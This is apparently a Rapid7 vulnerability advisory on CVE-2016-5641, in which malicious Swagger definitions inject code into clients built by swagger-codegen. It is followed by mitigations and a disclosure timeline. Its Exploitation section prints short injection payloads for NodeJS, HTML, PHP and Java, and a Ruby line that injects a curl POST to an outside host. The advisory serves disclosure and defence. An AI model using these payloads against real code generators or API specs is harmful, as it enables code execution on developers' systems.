Rapid7 Blog

R7-2016-06: Remote Code Execution via Swagger Parameter Injection (CVE-2016-5641)

Scott Davis (/author/scott-davis/) Jun 23, 2016 | 4 min read

DAYS HRS MIN SEC

This disclosure will address a class of vulnerabilities in a Swagger Code Generator (https://github.com/swagger-api/swagger-codegen) in which injectable parameters in a Swagger JSON or YAML file facilitate remote code execution. This vulnerability applies to NodeJS (https://nodejs.org/en/), PHP (http://php.net/), Ruby (https://www.ruby-lang.org/en/), and Java (https://java.com/en/download/) and probably other languages as well. Other code generation tools (https://apimatic.io/) may also be vulnerable to parameter injection and could be affected by this approach. By leveraging this vulnerability, an attacker can inject arbitrary execution code embedded with a client or server generated automatically to interact with the definition of service. This is considered an abuse of trust in definition of service, and could be an interesting space for further research.

According to swagger.io -

> **Swagger is a simple yet powerful representation of your RESTful API. With the largest ecosystem of API tooling on the planet, thousands of developers are supporting Swagger in almost every modern programming language and deployment environment. With a Swagger-enabled API, you get interactive documentation, client SDK generation, and discoverability.**

Within the Swagger ecosystem, there are fantastic code generators which are designed to automagically take a Swagger document and then generate stub client code for the described API. This is a powerful part of the solution that makes it easy for companies to provide developers the ability to quickly make use of their APIs. The Swagger definitions are flexible enough to describe most RESTful API's and give developers a great starting point

for their API client. The problems discussed here is that several of these code generators do not take into account the possibility of a malicious Swagger definition document which results in a classic parameter injection, with a new twist on code generation.

Maliciously crafted Swagger documents can be used to dynamically create HTTP API clients and servers with embedded arbitrary code execution in the underlying operating system. This is achieved by the fact that some parsers/generators trust insufficiently sanitized parameters within a Swagger document to generate a client code base.

- On the client side, a vulnerability exists in trusting a malicious Swagger document to create any generated code base locally, most often in the form of a dynamically generated API client.
- On the server side, a vulnerability exists in a service that consumes Swagger to dynamically generate and serve API clients, server mocks and testing specs.

Client Side

swagger-codegen (http://swagger.io/swagger-codegen/) contains a template-driven engine to generate client code in different languages by parsing a Swagger Resource Declaration. It is packaged or referenced in several open source and public services provided by smartbear.com (http://smartbear.com/) such as generator.swagger.io (http://generator.swagger.io/), editor.swagger.io (http://editor.swagger.io/), and swaggerhub.com (http://swaggerhub.com/). Other commercial products include restlet.com (http://restlet.com/) (restlet-studio) and restunited.com (http://restunited.com/). These services appear to generate and store these artifacts (but not execute) and are able to be publicly downloaded and consumed. Remote code execution is achieved when the download artifact is executed on the target.

Server Side

Online services exist that consume Swagger documents and automatically generate and execute server-side application, test specs, and mock servers provide a potential for remote code execution. Some identified commercial platforms that follow this model include: vRest.io (http://vrest.io/), ritc.io (http://ritc.io/), restunited.com (http://restunited.com/), stoplight.io (http://stoplight.io/), and runscope.com (http://runscope.com/).

Credit

These issues were discovered by Scott Davis of Rapid7, Inc., and reported in accordance with Rapid7's disclosure policy (https://www.rapid7.com/disclosure.jsp).

Exploitation

Please see the associated Metasploit exploit module (https://github.com/rapid7/metasploit-framework/pull/7015) for examples for the following languages.

swagger-codegen (https://github.com/swagger-api/swagger-codegen)

Swagger-codegen generates client and server code based on a Swagger document in which it trusts to specify inline variables in code unescaped (i.e. unescaped handlebars template variables). The javascript, html, php, ruby and java clients were tested for parameter injection vulnerabilities, and given in example as follows.

javascript (node)

Strings within keys inside the 'paths' object of a Swagger document can be written in the following manner and generate executable NodeJS.

```
CE');(function(){}(this,function(){a=function(){b=function(){new Array('": {
```

html

Strings within the 'description' object of a Swagger document can be written with html 'script' tags, and loaded unescaped into a browser.

```
  "info": {
       "description": "<script>alert(1)</script>",
```

php

Strings within the 'description' object in the definitions section of a Swagger document can inject comments and inline php code.

```
"definitions": {
     "d": {
          "type": "object",
          "description": "*/ echo system(chr(0x6c).chr(0x73)); /*",
```

DAYS HRS MIN SEC

ruby

Strings in 'description' and 'title' of a Swagger document can be used in unison to terminate block comments, and inject inline ruby code.

```
"info": {
     "description": "=begin",
     "title": "=end `curl -X POST -d \"fizz=buzz\" http://requestb.in/1ftn
```

java

Strings within keys inside the 'paths' object of a Swagger document can be written in the following manner and generate executable Java.

```
"paths": {
     "/a\"; try{java.lang.Runtime.getRuntime().exec(\"ls\");}catch(Exceptio
```

Mitigations

Until code generators are patched by their maintainers, users are advised to carefully inspect Swagger documents for language-specific escape sequences.

Fixes need to be implemented by those creating code generation tools, in general this does not apply to the swagger documents themselves. Mitigations for all issues include properly escaping parameters before injecting, while taking into account the context the variable(s)

are used in inline code creation, and what sanitization efforts are in place to ensure the context of trust for an API specification can maintain a level of code creation free for remote code execution in the known, easily avoidable cases.

For example, using double brackets {{, instead of {{{ for handlebars templates will usually prevent many types of injection attacks that involve single or double quote termination, however this will not stop a determined attacker who can inject variables without sanitization logic into multi-line comments, inline code or variables.

Mustache templates

- `{{{ code }}}` or `{{& code}}` can be vulnerable in template and sanitization logic
- `{{ code }}` can be vulnerable given context language of template (e.g. block quote)

Where to be wary

- inline code creation from variable
- single ticks (') and quotes (") unescaped variable injection
- block comment (initiator & terminator) injection

Where it gets tricky

- Arbitrary Set delimiter redefinition `{{=< >=}}<={{ }}=>`
- Runtime Partial templates `{{> partial}}`
- set redefinition with alternate unescape `{{=< >=}} <&foo> <={{ }}=>`

What to do in general

- prefer escaped variables always `{{foo}}`
- enforce single-line for commented variables `// {{foo}}`
- sanitize `'` & `"` in variables before unescaped insertion
- encode `'` , in single quoted path strings.
- encode `"` , in double quoted path strings

It is recommended to consider usage of a sanitization tool such as the OWASP ESAPI (https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API).

For the time being, a Github Pull Request is offered here (https://github.com/swagger-api/swagger-codegen/issues/3201).

Disclosure Timeline

This vulnerability advisory was prepared in accordance with Rapid7's disclosure policy (http://rapid7.com/disclosure.jsp).

- Tue, Apr 19, 2016: Attempted to contact the vendor and the API team at Swagger.io.
- Mon, May 09, 2016: Details disclosed to CERT (VU#755216).
- Thu, Jun 16, 2016: Proposed patch supplied to CERT.
- Thu, Jun 23, 2016: CVE-2016-5641 assigned by CERT.
- Thu, Jun 23, 2016: Public disclosure and Metasploit module released (https://github.com/rapid7/metasploit-framework/pull/7015).
- Thu, Jun 23, 2016: Fix offered (https://github.com/swagger-api/swagger-codegen/issues/3201) to swagger-codegen.

Future of Swagger

Starting January 1st, 2016, the Swagger Specification has been donated to the Open API Initiative (OAI) (https://openapis.org/) and is the foundation of the OpenAPI Specification (https://github.com/OAI/OpenAPI-Specification). However, the name ‘Swagger' is still the preferred naming in many a dinner party and dad joke, and was used in this document when referring to an OAS 2.0 specification documentation.In the typical case, a Swagger document defines a RESTful API. It implements a subset of the JSON Schema Draft 4 (http://swagger.io/specification/).

DAYS HRS MIN SEC

(/2018/11/19/lessons-learned-firsthand-securing-corporate-voicemail-pins/)

(/2018/11/19/lessons-learned-firsthand-securing-corporate-voicemail-pins/)

Lessons Learned Firsthand: Securing Corporate Voicemail PINs (/2018/11/19/lessons-learned-firsthand-securing-corporate-voicemail-pins/)

On Thursday afternoon, Nov. 15, 2018, Rapid7 learned of a potential security issue with our corporate voicemail system, reported by security researcher Kristian...

(/2018/11/19/lessons-learned-firsthand-securing-corporate-voicemail-pins/)

VULNERABILITY DISCLOSURE (/TAG/VULNERABILITY-DISCLOSURE)

Prioritizing the Fundamentals of Coordinated Vulnerability Disclosure (/2018/10/31/prioritizing-the-fundamentals-of-coordinated-vulnerability-disclosure/)

In this post, we aim to distinguish between three broad flavors of CVD processes based on authorization, incentives, and resources required. We also urge wider ...

(/2018/10/31/prioritizing-the-fundamentals-of-coordinated-vulnerability-disclosure/)

PUBLIC POLICY (/TAG/PUBLIC-POLICY)

DAYS HRS MIN SEC

(/2018/10/31/prioritizing-the-fundamentals-of-coordinated-vulnerability-disclosure/)

(/2018/10/31/prioritizing-the-fundamentals-of-coordinated-vulnerability-disclosure/)

POST STATS

0

POST TAGS

VULNERABILITY DISCLOSURE (/TAG/VULNERABILITY-DISCLOSURE/)

SHARING IS CARING

(https://www.linkedin.com/shareArticle?mini=true&url=https://blog.rapid7.com/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641/&title=R7-2016-06: Remote Code Execution via Swagger Parameter Injection (CVE-2016-5641)&summary=This disclosure will address a class of vulnerabilities in a Swagger Code Generator in which injectable parameters in a Swagger JSON or YAML file)

(https://twitter.com/intent/tweet?text=R7-2016-06: Remote Code Execution via Swagger Parameter Injection (CVE-2016-5641)&url=https://blog.rapid7.com/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641/)

(https://www.facebook.com/sharer/sharer.php?u=https://blog.rapid7.com/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641/)

AUTHOR

Scott Davis

(/author/scott-davis/)

(/author/scott-davis/)

View Scott Davis's Posts (/author/scott-davis/)

Blog Feed (https://blog.rapid7.com/feed/)